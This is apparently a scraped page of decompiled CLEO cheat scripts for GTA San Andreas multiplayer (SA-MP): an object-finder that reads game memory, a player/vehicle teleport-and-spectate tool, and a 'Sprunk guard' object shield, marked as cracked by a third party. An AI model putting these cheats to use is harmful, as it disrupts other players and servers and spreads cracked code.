0AF0: 22@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "UNDERGROUND_TRAP"
0AF0: 23@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HEIGHT_TRAP"
0AF0: 24@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "SEABED_TRAP"
0AF0: 25@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "INTERIOR_TRAP"
//0AF0: 26@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HOUSE_TRAP"
jump @ACTIVATE_1

:SETTINGS_2
wait 10 
0AF1: write_int 57 to_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_1" //domyślnie 9
0AF1: write_int 80 to_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "ACTIVATE_2" //domyślnie P
0AF1: write_int 1210 to_ini_file "CLEO\MOSH_configuration.iNi" section "SETTINGS" key "OBJECT_ID" //domyślnie obiekt walizki
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "ACTIVATE_DETECTOR" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "UNDERGROUND_TRAP" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HEIGHT_TRAP" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "SEABED_TRAP" //domyślnie właczony 
0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "INTERIOR_TRAP" //domyślnie właczony 
//0AF1: write_int 1 to_ini_file "CLEO\MOSH_configuration.iNi" section "TRAP_DETECTOR" key "HOUSE_TRAP" //domyślnie właczony
0AF1: write_int 0 to_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key "COUNT" //brak obiektów do wykluczenia
jump @SETTINGS_1

:ACTIVATE_1
wait 10
if and
  key_down 20@
  key_down 21@
else_jump @ACTIVATE_1
wait 10
jump @ACTIVATE_2

:ACTIVATE_2
wait 10
if and
  not key_down 20@
  not key_down 21@
else_jump @ACTIVATE_2
wait 10
13@ = 0
14@ = 0
jump @FINDER_1 
  
:FINDER_1
wait 0 
11@ = 0 //0 - wyszukiwanie przerwano
00BE: text_clear_all

if
  0039:   13@ == 1
then
  print "~Y~SEARCHING FOR OBJECTS" 3500
else
  print "~W~SEARCHING FOR OBJECTS" 3500
end
if
  14@ > 40
then
  if
    0039:   13@ == 1
  then
    13@ = 0
  else
    13@ = 1
  end
  14@ = 0
else
  14@ += 1
end

0A8D: 29@ = read_memory 12010652 size 4 virtual_protect 0 
29@ += 4 
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0 
30@ = 0 

:FINDER_2
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0 
29@ += 1 
if and
  31@ >= 0 
  128 > 31@ 
else_jump @FINDER_3 
005A: 31@ += 30@ // (int)
if and
  key_down 20@
  key_down 21@
then
  jump @DRAWING_2 
end
if 
   Object.Model(31@) == 19@
else_jump @FINDER_3 

1@ = 0
0AF0: 2@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key "COUNT"
for 12@ = 1 to 2@ step 1
  0093: 0@ = integer 12@ to_float
  0AED: 4@v = float 0@ to_string_format "%.15gX"
  0AF2: 15@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key 4@v
  0AED: 4@v = float 0@ to_string_format "%.15gY"
  0AF2: 16@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key 4@v
  0AED: 4@v = float 0@ to_string_format "%.15gZ"
  0AF2: 17@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "BLACKLIST" key 4@v
  
  if
    04E6:   object 31@ near_point 15@ 16@ 17@ radius 2.0 2.0 2.0 flag 0
  then
    1@ = 1
    12@ = 2@
  end
end

if 
  0039:   1@ == 0 
else_jump @FINDER_3

Object.StorePos(31@, 0@, 1@, 2@)
000B: 3@ += 1.0

0AED: 4@v = float 3@ to_string_format "%.15gX"
0AF3: write_float 0@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
0AED: 4@v = float 3@ to_string_format "%.15gY"
0AF3: write_float 1@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
0AED: 4@v = float 3@ to_string_format "%.15gZ"
0AF3: write_float 2@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

7@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
0AED: 4@v = float 3@ to_string_format "%.15gM"
0AF1: write_int 7@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

0AED: 4@v = float 3@ to_string_format "%.15gO"
0AF1: write_int 31@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

:FINDER_3
30@ += 256
if //oryginalnie: 89344 
  30@ > 256000 //jeżeli już wszystkie przeszukał
else_jump @FINDER_2
//wracamy i szukamy od nowa
if
0021:   3@ > 0.0
else_jump @FINDER_1
00BE: text_clear_all
0092: 0@ = float 3@ to_integer
if
  0039:   0@ == 1
then
  printf "~Y~%d ~G~OBJECT FOUND ~Y~:3" 2500 0@
else
  printf "~Y~%d ~G~OBJECTS FOUND ~Y~:3" 2500 0@
end
jump @DRAWING_1

:DRAWING_1
wait 10
if and
  key_down 20@ //wyłaczamy wszystkie markery i usuwamy obiekty z listy
  key_down 21@
else_jump @ANTITRAP_1
wait 10
11@ = 1 //1 - wyłaczono markery
jump @DRAWING_2

:DRAWING_2
wait 10
if and
  not key_down 20@
  not key_down 21@
else_jump @DRAWING_2
0092: 13@ = float 3@ to_integer
for 8@ = 1 to 13@ step 1
  008F: 10@ = integer 8@ to_float
  0AED: 4@v = float 10@ to_string_format "%.15gM"
  0AF0: 7@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  0164: disable_marker 7@
end

00BE: text_clear_all 
if
  0039:   11@ == 1
then
  print "~R~MARKERS DELETED" 1300
else
  print "~R~SEARCHING ABORTED" 1300
end
3@ = 0.0
jump @ACTIVATE_1

:ANTITRAP_1 //system wykrywa podejrzanie umieszczone obiekty, jeżeli takowy wykryje,
wait 10     //zmienia jego ikonę na radarze z 56 na 19 (czerwona flaga)
if
  0039:   5@ == 1  
else_jump @DRAWING_1
if
  001B:   50 > 13@
then
  13@ +=1
  jump @DRAWING_1
end

0092: 13@ = float 3@ to_integer
for 8@ = 1 to 13@ step 1
  7@ = 0
  008F: 10@ = integer 8@ to_float
  0AED: 4@v = float 10@ to_string_format "%.15gX"
  0AF2: 0@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  0AED: 4@v = float 10@ to_string_format "%.15gY"
  0AF2: 1@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  0AED: 4@v = float 10@ to_string_format "%.15gZ"
  0AF2: 2@ = get_float_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v

  02CE: 14@ = ground_z_at 0@ 1@ 2@
  
  if and
    0039:   22@ == 1 //0 - sprawdzaj, czy obiekt nie jest pod teksturami
    //06BD:   no_obstacles_between 0@ 1@ 2@ and 0@ 1@ 14@ solid 1 car 0 actor 0 object 0 particle 0
    0043:   14@ == 0.0
  then
    7@ = 1
  else
    0087: 18@ = 2@ // (float)
    0063: 18@ -= 14@  // (float)
    if and
      0039:   23@ == 1 //1 - sprawdzaj, czy obiekt nie jest za wysoko
      //06BD:   no_obstacles_between 0@ 1@ 2@ and 0@ 1@ 14@ solid 1 car 0 actor 0 object 0 particle 0
      0021:   18@ > 8.0
    then
      7@ = 1
    end  
  end   
  
  092E: get_water_height_at 0@ 1@ ignore_waves 1 store_to 14@
  
  if
    0021:   14@ > -1000.0
  then
    7@ = 0
  end
  
  if and
    0039:   24@ == 1
    0021:   14@ > -1000.0
    0023:   -67.0 > 2@
  then
    7@ = 2
  else
    0087: 18@ = 2@ // (float)
    0063: 18@ -= 14@  // (float)    
    if and
      0039:   23@ == 1
      0021:   14@ > -1000.0
      0021:   18@ > 8.0
      06BD:   no_obstacles_between 0@ 1@ 2@ and 0@ 1@ 0.0 solid 1 car 0 actor 0 object 0 particle 0
    then
      0092: 2@ = float 2@ to_integer
      0092: 18@ = float 18@ to_integer
      7@ = 2
    end
  end 
                         
  0AED: 4@v = float 10@ to_string_format "%.15gM"
  0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
  
  //tu jeszcze będzie system wykrywania obiektu w budynku (26@)
  
  if
    0039:   7@ == 1 
  then 
    04C4: store_coords_to 15@ 16@ 17@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
    050A: 18@ = distance_between_XYZ 15@ 16@ 17@ and_XYZ 0@ 1@ 2@ 
    if
      0023:   130.0 > 18@
    then 
      0164: disable_marker 9@
      9@ = Marker.CreateIconAndSphere(19, 0@, 1@, 2@)
      0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v       
    end
  else
    if
      0039:   7@ == 2
    then 
      0164: disable_marker 9@
      9@ = Marker.CreateIconAndSphere(19, 0@, 1@, 2@)
      0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v       
    else
      if
        25@ == 1
      then
        09E8: 14@ = actor $PLAYER_ACTOR active_interior
        0AED: 4@v = float 10@ to_string_format "%.15gO"
        0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
        if
          03CA:   object 9@ exists
        then 
          0AB1: @GetObjectInterior 1 OBJECT_HANDLE 9@ STORE_TO 18@
          
          if
            0039:   18@ == 13
          then
            18@ = 0
          end
          
          if
            0039:   14@ == 13
          then
            14@ = 0
          end
          
          if
            003B:   14@ == 18@  // (int)
          then
            0AED: 4@v = float 10@ to_string_format "%.15gM"
            0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v
            0164: disable_marker 9@
            9@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
            0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v 
         else
            0AED: 4@v = float 10@ to_string_format "%.15gM"
            0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v  
            0164: disable_marker 9@
            9@ = Marker.CreateIconAndSphere(19, 0@, 1@, 2@)
            0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v     
          end
        else
          0AED: 4@v = float 10@ to_string_format "%.15gM"
          0AF0: 9@ = get_int_from_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v 
          0164: disable_marker 9@
          9@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
          0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v       
        end
      else  
        0164: disable_marker 9@
        9@ = Marker.CreateIconAndSphere(56, 0@, 1@, 2@)
        0AF1: write_int 9@ to_ini_file "CLEO\MOSH_configuration.iNi" section "TEMP" key 4@v 
      end
    end  
  end
end
13@ = 0
jump @DRAWING_1

//0AB1: @GetObjectInterior 1 OBJECT_HANDLE 0@ STORE_TO 1@
:GetObjectInterior 
0A98: 1@ = object 0@ struct
1@ += 47
0A8D: 2@ = read_memory 1@ size 1 virtual_protect 1
0AB2: ret 1 2@


Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 Multiple Objects Search Hack by m1zg4rd SOURCE Original: {$CLEO .cs} if 8AAB: file_exists "CLEO\MOSH_bY_m1zg4rd.cs...

D-Warp(v0.1) by D.Kay SOURCE

D-Warp(v0.1) by D.Kay
SOURCE



Original:
 // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP 
thread "D-Stats" 
0662: printstring "UGBASE.EU" 
0662: printstring "YOLO" 
0662: printstring "YOLO" 
0662: printstring "YOLO" 
wait 0 
0B34: samp register_client_command "pwarp" to_label @D-Stats_319 
0B34: samp register_client_command "vwarp" to_label @D-Stats_635 
0B34: samp register_client_command "vspec" to_label @D-Stats_966 
0B34: samp register_client_command "spec_off" to_label @D-Stats_1258 
0B34: samp register_client_command "wback" to_label @D-Stats_1266 
31@ = 0 

:D-Stats_134
wait 0 
if 
  31@ == 1 
else_jump @D-Stats_134 
31@ = 0 
SAMP.CmdRet
Actor.StorePos($0[3], 20@, 21@, 22@)
04C4: store_coords_to 5@ 6@ 7@ from_actor 4@ with_offset 0.0 -1.0 -0.7 
wait 0 
Actor.PutAt($0[3], 5@, 6@, 7@)
29@ = Actor.Angle(4@)
Actor.Angle($0[3]) = 29@
chatmsg "{4960F5}[D-WARP]: Typed {FF0000}/wback {4960F5} to get back." 12566463 
jump @D-Stats_134 

:D-Stats_319
wait 0 
   SAMP.IsCommandTyped(0@)
if 
0AD4: 1@ = scan_string 0@ format "%d %d" 2@  
else_jump @D-Stats_414 
if 
   SAMP.IsPlayerConnected(2@)
else_jump @D-Stats_562 
4@ = SAMP.GetActorHandleByPlayerID(2@)
if 
056D:   actor 4@ defined 
else_jump @D-Stats_480 
31@ = 1 
SAMP.CmdRet
jump @D-Stats_134 

:D-Stats_414
wait 0 
chatmsg "{4960F5}[D-WARP]: /pgoto {FF0000}<PlayerID>" 12566463 
31@ = 0 
SAMP.CmdRet

:D-Stats_480
wait 0 
chatmsg "{4960F5}[D-WARP]: Player {FF0000}is not streamed in." 12451840 
31@ = 0 
SAMP.CmdRet
jump @D-Stats_134 

:D-Stats_562
wait 0 
chatmsg "{4960F5}[D-WARP]: {FF0000}Invaild player ID" 12451840 
SAMP.CmdRet
31@ = 0 
jump @D-Stats_134 

:D-Stats_635
   SAMP.IsCommandTyped(9@)
if 
0AD4: $0[4] = scan_string 9@ format "%d" 12@  
else_jump @D-Stats_910 
11@ = SAMP.GetVehicleHandleBySAMPVehicleID(12@)
if 
056E:   car 11@ defined 
else_jump @D-Stats_825 
Actor.StorePos($0[3], 20@, 21@, 22@)
0407: store_coords_to 13@ 14@ 15@ from_car 11@ with_offset 0.0 -1.0 -1.0 
Actor.PutAt($0[3], 13@, 14@, 15@)
chatmsg "{4960F5}[D-WARP]: Typed {FF0000}/wback {4960F5} to get back." 12566463 
jump @D-Stats_903 

:D-Stats_825
chatmsg "{4960F5}[D-WARP]: {FF0000}Vehicle Is Not Streamed in / Not Available" 12451840 

:D-Stats_903
jump @D-Stats_964 

:D-Stats_910
chatmsg "{4960F5}[D-WARP]: /vgoto {FF0000}<VehicleID>" 12566463 

:D-Stats_964
SAMP.CmdRet

:D-Stats_966
wait 0 
   SAMP.IsCommandTyped(10@)
if 
0AD4: $0[4] = scan_string 10@ format "%d" 17@  
else_jump @D-Stats_1201 
16@ = SAMP.GetVehicleHandleBySAMPVehicleID(17@)
if 
056E:   car 16@ defined 
else_jump @D-Stats_1123 
19@ = Car.Health(16@)
Camera.OnVehicle(16@, 3, 1)
chatmsg "{4960F5}[D-VSPEC]: {FF0000}Vehicle [ID: %d], [Health: %d]" 12451840 17@ 19@ 
jump @D-Stats_1194 

:D-Stats_1123
chatmsg "{4960F5}[D-VSPEC]: Vehicle Is Not Streamed in / Not Available" 12451840 

:D-Stats_1194
jump @D-Stats_1256 

:D-Stats_1201
chatmsg "{4960F5}[D-VSPEC]: /vspec {FF0000}<VehicleID>" 12566463 

:D-Stats_1256
SAMP.CmdRet

:D-Stats_1258
wait 0 
Camera.Restore_WithJumpCut
SAMP.CmdRet

:D-Stats_1266
wait 0 
Actor.PutAt($0[3], 20@, 21@, 22@)
SAMP.CmdRet


Compilable:
 // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP 
thread "D_Stats" 
0662: printstring "UGBASE.EU" 
0662: printstring "YOLO" 
0662: printstring "YOLO" 
0662: printstring "YOLO" 
wait 0 
0B34: samp register_client_command "pwarp" to_label @D_Stats_319 
0B34: samp register_client_command "vwarp" to_label @D_Stats_635 
0B34: samp register_client_command "vspec" to_label @D_Stats_966 
0B34: samp register_client_command "spec_off" to_label @D_Stats_1258 
0B34: samp register_client_command "wback" to_label @D_Stats_1266 
31@ = 0 

:D_Stats_134
wait 0 
if 
  31@ == 1 
else_jump @D_Stats_134 
31@ = 0 
SAMP.CmdRet
Actor.StorePos($0[3], 20@, 21@, 22@)
04C4: store_coords_to 5@ 6@ 7@ from_actor 4@ with_offset 0.0 -1.0 -0.7 
wait 0 
Actor.PutAt($0[3], 5@, 6@, 7@)
29@ = Actor.Angle(4@)
Actor.Angle($0[3]) = 29@
chatmsg "{4960F5}[D-WARP]: Typed {FF0000}/wback {4960F5} to get back." 12566463 
jump @D_Stats_134 

:D_Stats_319
wait 0 
   SAMP.IsCommandTyped(0@)
if 
0AD4: 1@ = scan_string 0@ format "%d %d" 2@  
else_jump @D_Stats_414 
if 
   SAMP.IsPlayerConnected(2@)
else_jump @D_Stats_562 
4@ = SAMP.GetActorHandleByPlayerID(2@)
if 
056D:   actor 4@ defined 
else_jump @D_Stats_480 
31@ = 1 
SAMP.CmdRet
jump @D_Stats_134 

:D_Stats_414
wait 0 
chatmsg "{4960F5}[D-WARP]: /pgoto {FF0000}<PlayerID>" 12566463 
31@ = 0 
SAMP.CmdRet

:D_Stats_480
wait 0 
chatmsg "{4960F5}[D-WARP]: Player {FF0000}is not streamed in." 12451840 
31@ = 0 
SAMP.CmdRet
jump @D_Stats_134 

:D_Stats_562
wait 0 
chatmsg "{4960F5}[D-WARP]: {FF0000}Invaild player ID" 12451840 
SAMP.CmdRet
31@ = 0 
jump @D_Stats_134 

:D_Stats_635
   SAMP.IsCommandTyped(9@)
if 
0AD4: $0[4] = scan_string 9@ format "%d" 12@  
else_jump @D_Stats_910 
11@ = SAMP.GetVehicleHandleBySAMPVehicleID(12@)
if 
056E:   car 11@ defined 
else_jump @D_Stats_825 
Actor.StorePos($0[3], 20@, 21@, 22@)
0407: store_coords_to 13@ 14@ 15@ from_car 11@ with_offset 0.0 -1.0 -1.0 
Actor.PutAt($0[3], 13@, 14@, 15@)
chatmsg "{4960F5}[D-WARP]: Typed {FF0000}/wback {4960F5} to get back." 12566463 
jump @D_Stats_903 

:D_Stats_825
chatmsg "{4960F5}[D-WARP]: {FF0000}Vehicle Is Not Streamed in / Not Available" 12451840 

:D_Stats_903
jump @D_Stats_964 

:D_Stats_910
chatmsg "{4960F5}[D-WARP]: /vgoto {FF0000}<VehicleID>" 12566463 

:D_Stats_964
SAMP.CmdRet

:D_Stats_966
wait 0 
   SAMP.IsCommandTyped(10@)
if 
0AD4: $0[4] = scan_string 10@ format "%d" 17@  
else_jump @D_Stats_1201 
16@ = SAMP.GetVehicleHandleBySAMPVehicleID(17@)
if 
056E:   car 16@ defined 
else_jump @D_Stats_1123 
19@ = Car.Health(16@)
Camera.OnVehicle(16@, 3, 1)
chatmsg "{4960F5}[D-VSPEC]: {FF0000}Vehicle [ID: %d], [Health: %d]" 12451840 17@ 19@ 
jump @D_Stats_1194 

:D_Stats_1123
chatmsg "{4960F5}[D-VSPEC]: Vehicle Is Not Streamed in / Not Available" 12451840 

:D_Stats_1194
jump @D_Stats_1256 

:D_Stats_1201
chatmsg "{4960F5}[D-VSPEC]: /vspec {FF0000}<VehicleID>" 12566463 

:D_Stats_1256
SAMP.CmdRet

:D_Stats_1258
wait 0 
Camera.Restore_WithJumpCut
SAMP.CmdRet

:D_Stats_1266
wait 0 
Actor.PutAt($0[3], 20@, 21@, 22@)
SAMP.CmdRet



Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 D-Warp(v0.1) by D.Kay SOURCE Original: // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com...

MultiSprunkGuard by xzytro modified by Wade SOURCE

MultiSprunkGuard by xzytro modified by Wade
SOURCE




 
 // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
thread 'MSPRUNKGUARDX16' 
0662: printstring "ANILTURE SAYS HI" 

:MSPRUNKGUARDX16_39
wait 200 
if 
   Player.Defined($PLAYER_CHAR)
else_jump @MSPRUNKGUARDX16_39 
if and
key_down 101 
   not Actor.Driving($PLAYER_ACTOR)
else_jump @MSPRUNKGUARDX16_39 
Model.Load(1775)

:MSPRUNKGUARDX16_85
wait 0 
if 
   Model.Available(1775)
else_jump @MSPRUNKGUARDX16_85 
04C4: store_coords_to 1@ 2@ 3@ from_actor $PLAYER_ACTOR with_offset 5.0 5.0 5.0 
31@ = Object.Create(1775, 1@, 2@, 3@)
30@ = Object.Create(1775, 1@, 2@, 3@)
29@ = Object.Create(1775, 1@, 2@, 3@)
28@ = Object.Create(1775, 1@, 2@, 3@)
27@ = Object.Create(1775, 1@, 2@, 3@)
26@ = Object.Create(1775, 1@, 2@, 3@)
25@ = Object.Create(1775, 1@, 2@, 3@)
24@ = Object.Create(1775, 1@, 2@, 3@)
23@ = Object.Create(1775, 1@, 2@, 3@)
22@ = Object.Create(1775, 1@, 2@, 3@)
21@ = Object.Create(1775, 1@, 2@, 3@)
20@ = Object.Create(1775, 1@, 2@, 3@)
19@ = Object.Create(1775, 1@, 2@, 3@)
18@ = Object.Create(1775, 1@, 2@, 3@)
17@ = Object.Create(1775, 1@, 2@, 3@)
16@ = Object.Create(1775, 1@, 2@, 3@)
print "~W~SPRUNK GUARD ~G~ENABLED" 1200 
0566: link_object 31@ to_interior 11 
0566: link_object 30@ to_interior 11 
0566: link_object 29@ to_interior 11 
0566: link_object 28@ to_interior 11 
0566: link_object 27@ to_interior 11 
0566: link_object 26@ to_interior 11 
0566: link_object 25@ to_interior 11 
0566: link_object 24@ to_interior 11 
0566: link_object 23@ to_interior 11 
0566: link_object 22@ to_interior 11 
0566: link_object 21@ to_interior 11 
0566: link_object 20@ to_interior 11 
0566: link_object 19@ to_interior 11 
0566: link_object 18@ to_interior 11 
0566: link_object 17@ to_interior 11 
0566: link_object 16@ to_interior 11 
069B: attach_object 31@ to_actor $PLAYER_ACTOR with_offset 2.5 2.5 0.0 rotation 0.0 0.0 145.0 
069B: attach_object 30@ to_actor $PLAYER_ACTOR with_offset 1.25 2.5 0.0 rotation 0.0 0.0 180.0 
069B: attach_object 29@ to_actor $PLAYER_ACTOR with_offset 0.0 2.5 0.0 rotation 0.0 0.0 180.0 
069B: attach_object 28@ to_actor $PLAYER_ACTOR with_offset -1.25 2.5 0.0 rotation 0.0 0.0 180.0 
069B: attach_object 27@ to_actor $PLAYER_ACTOR with_offset -2.5 2.5 0.0 rotation 0.0 0.0 -135.0 
069B: attach_object 26@ to_actor $PLAYER_ACTOR with_offset -2.5 1.25 0.0 rotation 0.0 0.0 -90.0 
069B: attach_object 25@ to_actor $PLAYER_ACTOR with_offset -2.5 0.0 0.0 rotation 0.0 0.0 -90.0 
069B: attach_object 24@ to_actor $PLAYER_ACTOR with_offset -2.5 -1.25 0.0 rotation 0.0 0.0 -90.0 
069B: attach_object 23@ to_actor $PLAYER_ACTOR with_offset -2.5 -2.5 0.0 rotation 0.0 0.0 -45.0 
069B: attach_object 22@ to_actor $PLAYER_ACTOR with_offset -1.25 -2.5 0.0 rotation 0.0 0.0 0.0 
069B: attach_object 21@ to_actor $PLAYER_ACTOR with_offset 2.5 0.0 0.0 rotation 0.0 0.0 90.0 
069B: attach_object 20@ to_actor $PLAYER_ACTOR with_offset 2.5 -1.25 0.0 rotation 0.0 0.0 90.0 
069B: attach_object 19@ to_actor $PLAYER_ACTOR with_offset 2.5 -2.5 0.0 rotation 0.0 0.0 45.0 
069B: attach_object 18@ to_actor $PLAYER_ACTOR with_offset 1.25 -2.5 0.0 rotation 0.0 0.0 0.0 
069B: attach_object 17@ to_actor $PLAYER_ACTOR with_offset 0.0 -2.5 0.0 rotation 0.0 0.0 0.0 
069B: attach_object 16@ to_actor $PLAYER_ACTOR with_offset 2.5 1.25 0.0 rotation 0.0 0.0 90.0 
wait 0 
Model.Destroy(1775)
jump @MSPRUNKGUARDX16_1175 

:MSPRUNKGUARDX16_1175
wait 0 
if 
8184:   not actor $PLAYER_ACTOR health >= 1 
else_jump @MSPRUNKGUARDX16_1333 
Object.Destroy(31@)
Object.Destroy(30@)
Object.Destroy(29@)
Object.Destroy(28@)
Object.Destroy(27@)
Object.Destroy(26@)
Object.Destroy(25@)
Object.Destroy(24@)
Object.Destroy(23@)
Object.Destroy(22@)
Object.Destroy(21@)
Object.Destroy(20@)
Object.Destroy(19@)
Object.Destroy(18@)
Object.Destroy(17@)
Object.Destroy(16@)
print "~W~YOU ~R~DIED,~W~SPRUNK GUARD ~R~DISABLED" 2000 
jump @MSPRUNKGUARDX16_39 

:MSPRUNKGUARDX16_1333
if and
key_down 66 
key_down 83 
else_jump @MSPRUNKGUARDX16_1398 
print "~W~SPRUNK GUARD TOGGLE : ~G~AUTO" 2000 
jump @MSPRUNKGUARDX16_1538 

:MSPRUNKGUARDX16_1398
wait 0 
if 
key_down 102 
else_jump @MSPRUNKGUARDX16_1175 
print "~W~SPRUNK GUARD ~R~DISABLED" 1200 
Object.Destroy(31@)
Object.Destroy(30@)
Object.Destroy(29@)
Object.Destroy(28@)
Object.Destroy(27@)
Object.Destroy(26@)
Object.Destroy(25@)
Object.Destroy(24@)
Object.Destroy(23@)
Object.Destroy(22@)
Object.Destroy(21@)
Object.Destroy(20@)
Object.Destroy(19@)
Object.Destroy(18@)
Object.Destroy(17@)
Object.Destroy(16@)
jump @MSPRUNKGUARDX16_39 

:MSPRUNKGUARDX16_1538
wait 0 
if 
8184:   not actor $PLAYER_ACTOR health >= 1 
else_jump @MSPRUNKGUARDX16_1696 
Object.Destroy(31@)
Object.Destroy(30@)
Object.Destroy(29@)
Object.Destroy(28@)
Object.Destroy(27@)
Object.Destroy(26@)
Object.Destroy(25@)
Object.Destroy(24@)
Object.Destroy(23@)
Object.Destroy(22@)
Object.Destroy(21@)
Object.Destroy(20@)
Object.Destroy(19@)
Object.Destroy(18@)
Object.Destroy(17@)
Object.Destroy(16@)
print "~W~YOU ~R~DIED,~W~SPRUNK GUARD ~R~DISABLED" 2000 
jump @MSPRUNKGUARDX16_39 

:MSPRUNKGUARDX16_1696
wait 300 
Object.CollisionDetection(30@) = False
Object.CollisionDetection(29@) = False
Object.CollisionDetection(28@) = False
Object.CollisionDetection(27@) = False
Object.CollisionDetection(26@) = False
Object.CollisionDetection(25@) = False
Object.CollisionDetection(24@) = False
Object.CollisionDetection(23@) = False
Object.CollisionDetection(22@) = False
Object.CollisionDetection(21@) = False
Object.CollisionDetection(20@) = False
Object.CollisionDetection(19@) = False
Object.CollisionDetection(18@) = False
Object.CollisionDetection(17@) = False
Object.CollisionDetection(16@) = False
wait 0 
if 
key_down 102 
else_jump @MSPRUNKGUARDX16_1946 
print "~W~SPRUNK GUARD ~R~DISABLED" 1200 
Object.Destroy(31@)
Object.Destroy(30@)
Object.Destroy(29@)
Object.Destroy(28@)
Object.Destroy(27@)
Object.Destroy(26@)
Object.Destroy(25@)
Object.Destroy(24@)
Object.Destroy(23@)
Object.Destroy(22@)
Object.Destroy(21@)
Object.Destroy(20@)
Object.Destroy(19@)
Object.Destroy(18@)
Object.Destroy(17@)
Object.Destroy(16@)
jump @MSPRUNKGUARDX16_39 

:MSPRUNKGUARDX16_1946
wait 0 
if 
8184:   not actor $PLAYER_ACTOR health >= 1 
else_jump @MSPRUNKGUARDX16_2104 
Object.Destroy(31@)
Object.Destroy(30@)
Object.Destroy(29@)
Object.Destroy(28@)
Object.Destroy(27@)
Object.Destroy(26@)
Object.Destroy(25@)
Object.Destroy(24@)
Object.Destroy(23@)
Object.Destroy(22@)
Object.Destroy(21@)
Object.Destroy(20@)
Object.Destroy(19@)
Object.Destroy(18@)
Object.Destroy(17@)
Object.Destroy(16@)
print "~W~YOU ~R~DIED,~W~SPRUNK GUARD ~R~DISABLED" 2000 
jump @MSPRUNKGUARDX16_39 

:MSPRUNKGUARDX16_2104
wait 500 
Object.CollisionDetection(30@) = True
Object.CollisionDetection(29@) = True
Object.CollisionDetection(28@) = True
Object.CollisionDetection(27@) = True
Object.CollisionDetection(26@) = True
Object.CollisionDetection(25@) = True
Object.CollisionDetection(24@) = True
Object.CollisionDetection(23@) = True
Object.CollisionDetection(22@) = True
Object.CollisionDetection(21@) = True
Object.CollisionDetection(20@) = True
Object.CollisionDetection(19@) = True
Object.CollisionDetection(18@) = True
Object.CollisionDetection(17@) = True
Object.CollisionDetection(16@) = True
wait 0 
if 
key_down 102 
else_jump @MSPRUNKGUARDX16_1538 
print "~W~SPRUNK GUARD ~R~DISABLED" 1200 
Object.Destroy(31@)
Object.Destroy(30@)
Object.Destroy(29@)
Object.Destroy(28@)
Object.Destroy(27@)
Object.Destroy(26@)
Object.Destroy(25@)
Object.Destroy(24@)
Object.Destroy(23@)
Object.Destroy(22@)
Object.Destroy(21@)
Object.Destroy(20@)
Object.Destroy(19@)
Object.Destroy(18@)
Object.Destroy(17@)
Object.Destroy(16@)
jump @MSPRUNKGUARDX16_39



Hacked and decrypted by Mr.Ze
Label :
